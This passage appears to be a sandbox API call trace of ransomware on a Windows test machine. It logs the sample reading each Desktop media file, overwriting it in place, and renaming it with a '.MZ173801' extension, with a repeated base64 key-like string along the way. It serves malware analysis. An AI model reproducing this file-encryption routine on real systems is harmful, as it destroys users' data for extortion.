ftLastWriteTime.dwHighDateTime=0x1d5db0b, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0144.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1YD3Vxxzpsuk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1yd3vxxzpsuk.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.692] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.692] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.692] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x10de [0144.692] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.692] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x10de, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x10de, lpOverlapped=0x0) returned 1 [0144.693] CloseHandle (hObject=0x224) returned 1 [0144.693] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1YD3Vxxzpsuk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1yd3vxxzpsuk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.695] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x10de, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x10de, lpOverlapped=0x0) returned 1 [0144.696] CloseHandle (hObject=0x224) returned 1 [0144.696] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1YD3Vxxzpsuk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1yd3vxxzpsuk.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1YD3Vxxzpsuk.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1yd3vxxzpsuk.wav.mz173801")) returned 1 [0144.697] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2c_6t8zRv9Md.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2c_6t8zrv9md.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9384e0, ftCreationTime.dwHighDateTime=0x1d5e093, ftLastAccessTime.dwLowDateTime=0xb6e2bb40, ftLastAccessTime.dwHighDateTime=0x1d5e5a3, ftLastWriteTime.dwLowDateTime=0xb6e2bb40, ftLastWriteTime.dwHighDateTime=0x1d5e5a3, nFileSizeHigh=0x0, nFileSizeLow=0x93a8)) returned 1 [0144.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2c_6t8zRv9Md.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2c_6t8zrv9md.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.701] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.701] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.701] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x93a8 [0144.701] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.702] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x93a8, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x93a8, lpOverlapped=0x0) returned 1 [0144.703] CloseHandle (hObject=0x224) returned 1 [0144.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2c_6t8zRv9Md.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2c_6t8zrv9md.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.706] WriteFile (in: hFile=0x224, lpBuffer=0x71e540*, nNumberOfBytesToWrite=0x93a8, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71e540*, lpNumberOfBytesWritten=0x18f99c*=0x93a8, lpOverlapped=0x0) returned 1 [0144.707] CloseHandle (hObject=0x224) returned 1 [0144.708] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2c_6t8zRv9Md.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2c_6t8zrv9md.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2c_6t8zRv9Md.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2c_6t8zrv9md.m4a.mz173801")) returned 1 [0144.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7ISLBkE8c6q5djWHD3R9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7islbke8c6q5djwhd3r9.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd2640, ftCreationTime.dwHighDateTime=0x1d5db66, ftLastAccessTime.dwLowDateTime=0x576030f0, ftLastAccessTime.dwHighDateTime=0x1d5d93a, ftLastWriteTime.dwLowDateTime=0x576030f0, ftLastWriteTime.dwHighDateTime=0x1d5d93a, nFileSizeHigh=0x0, nFileSizeLow=0x696d)) returned 1 [0144.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1R